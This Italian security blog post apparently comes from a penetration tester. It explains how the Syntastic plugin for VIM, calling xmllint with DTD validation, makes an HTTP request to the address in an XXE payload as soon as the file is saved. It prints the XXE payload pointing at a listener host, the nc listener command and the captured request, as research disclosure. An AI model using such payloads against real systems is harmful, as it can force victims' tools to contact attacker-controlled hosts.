logo-unlock-security

Salvare un payload in VIM può in realtà eseguirlo

Salvare un payload in VIM può in realtà eseguirlo

Introduzione

Molti esperti di security tendono ad utilizzare tool a riga di comando nonostante esistano delle alternative grafiche. In questo articolo andremo ad analizzare il comportamento di un plugin per VIM mentre si cerca di salvare un payload per XXE (XML eXternal Entity).

VIM e i plugin

Chi sceglie VIM editor sicuramente utilizzerà dei plugin che ne migliorino l'aspetto o aggiungano funzionalità. Vundle o Pathogen sono due ottimi esempi di plugin manager per VIM.

Personalmente quando a suo tempo ho configurato VIM ho scelto Vundle. Non utilizzando VIM come editor principale ho mantenuto una configurazione abbastanza semplice:

~/.vimrc
set rtp+=~/.vim/bundle/Vundle.vim call vundle#begin() " let Vundle manage Vundle, required Plugin 'VundleVim/Vundle.vim' Plugin 'scrooloose/nerdtree' " filesystem Plugin 'scrooloose/syntastic' " syntax checker Plugin 'vim-airline/vim-airline' " status/tabline Plugin 'vim-airline/vim-airline-themes' " themes for airline Plugin 'majutsushi/tagbar' " ctags Plugin 'yggdroot/indentline' " Indentation lines Plugin 'junegunn/fzf' " fzf for vim Plugin 'sjl/badwolf' " color scheme Plugin 'airblade/vim-gitgutter' " git diff in sign column Plugin 'ryanoasis/vim-devicons' " file type icons " All of your Plugins must be added before the following line call vundle#end() " required

Perché questo preambolo? Ci arriveremo tra poco.

XML eXternal Entity (XXE)

Durante un ingaggio per un penetration test troviamo una possibile XXE e decidiamo di testare la possibilità di fare richieste HTTP verso l'esterno con il seguente payload:

test.xml
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://10.10.24.1:8000/external.txt"> %sp; ]>

Utilizziamo nc -nlvp 8000 per catturare eventuali richieste sulla porta 8000 e apriamo VIM per scrivere il payload XXE. Non appena salviamo il documento, prima ancora di lanciare l'attacco, riceviamo una richiesta HTTP dal nostro stesso indirizzo IP che richiede proprio la risorsa specificata nel file XML:

Connection from 10.10.24.1:46940
GET /external.txt HTTP/1.0
Host: 10.10.24.1:8000
Accept-Encoding: gzip

Qualcosa ha interpretato il file ed eseguito la richiesta, ma chi? Che sia stato VIM stesso è improbabile, deve essere uno dei plugin.

Analisi

Tra i plugin installati gli unici coinvolti in questo caso specifico sono Syntastic (per l'analisi sintattica del file) e Indentline (per indentare il codice). Escludiamo subito la seconda ipotesi e ci concentriamo su Syntastic.

Analizzando il codice del plugin per capire il motivo di questo comportamento notiamo che nella cartella "syntastic/syntax_checkers/xml/" sono presenti due file: plutil.vim e xmllint.vim. Questo indica che il plugin chiama degli eseguibili esterni per fare l'analisi della sintassi. Per capire quale dei due sia quello utilizzato continuiamo l'analisi del codice fino a questo estratto del file registry.vim:

plugin/syntastic/registry.vim
if exists('g:loaded_syntastic_registry') || !exists('g:loaded_syntastic_plugin') finish endif let g:loaded_syntastic_registry = 1 " Initialisation {{{1 let s:_DEFAULT_CHECKERS = { " ... \ 'xml': ['xmllint'], " ... \ } lockvar! s:_DEFAULT_CHECKERS " ...

Quindi il default tra i due è xmllint.vim. Vediamo il contenuto del file:

syntax_checkers/xml/xmllint.vim
"============================================================================ "File: xml.vim "Description: Syntax checking plugin for syntastic "Maintainer: Sebastian Kusnier <sebastian at kusnier dot net> "License: This program is free software. It comes without any warranty, " to the extent permitted by applicable law. You can redistribute " it and/or modify it under the terms of the Do What The Fuck You " Want To Public License, Version 2, as published by Sam Hocevar. " See http://sam.zoy.org/wtfpl/COPYING for more details. " "============================================================================ if exists('g:loaded_syntastic_xml_xmllint_checker') finish endif let g:loaded_syntastic_xml_xmllint_checker = 1 let s:save_cpo = &cpo set cpo&vim " You can use a local installation of DTDs to significantly speed up validation " and allow you to validate XML data without network access, see xmlcatalog(1) " and http://www.xmlsoft.org/catalog.html for more information. function! SyntaxCheckers_xml_xmllint_GetLocList() dict let makeprg = self.makeprgBuild({ \ 'args': '--xinclude --postvalid', \ 'args_after': '--noout' }) let errorformat= \ '%E%f:%l: error : %m,' . \ '%-G%f:%l: validity error : Validation failed: no DTD found %m,' . \ '%W%f:%l: warning : %m,' . \ '%W%f:%l: validity warning : %m,' . \ '%E%f:%l: validity error : %m,' . \ '%E%f:%l: parser error : %m,' . \ '%E%f:%l: %m,' . \ '%-Z%p^,' . \ '%-G%.%#' return SyntasticMake({ \ 'makeprg': makeprg, \ 'errorformat': errorformat, \ 'returns': [0, 1, 2, 3, 4, 5] }) endfunction call g:SyntasticRegistry.CreateAndRegisterChecker({ \ 'filetype': 'xml', \ 'name': 'xmllint'}) let &cpo = s:save_cpo unlet s:save_cpo " vim: set sw=4 sts=4 et fdm=marker:

Il plugin quindi prevede la possibilità di utilizzare file DTD esterni per la validazione di un file XML, e lo fa invocando xmllint in questo modo:

$ xmllint --xinclude --postvalid YOUR-FILE-NAME.xml --noout

Eseguendo lo stesso comando, infatti, riceviamo di nuovo la richiesta HTTP.

Conclusioni

Purtroppo ulteriori analisi svolte sembrano dimostrare che non sia possibile creare un payload in grado di eseguire comandi o esfiltrare dati. La sola azione permessa è leggere il contenuto di un file e fare richieste HTTP a indirizzi arbitrari; e no, non sembra possibile concatenare le due cose insieme.

Nonostante non sembra possibile sfruttare a pieno la vulnerabilità, è comunque interessante pensare di poter far eseguire richieste a una vittima solamente facendogli salvare un file, un'operazione che sembra innocua, ma che non lo è sempre.

Francesco Marano
Francesco Marano
Founder | Cyber Security Consultant
www.unlock-security.it

I'm an offensive cyber security expert with several years of experience as penetration tester and team leader.I love making software do things other than what they were designed to do!I do security research to find new bugs and new ways to get access to IT assets. I'm a speaker at events talking about my research to share my findings and improve the awareness about cyber security issues.

Related Posts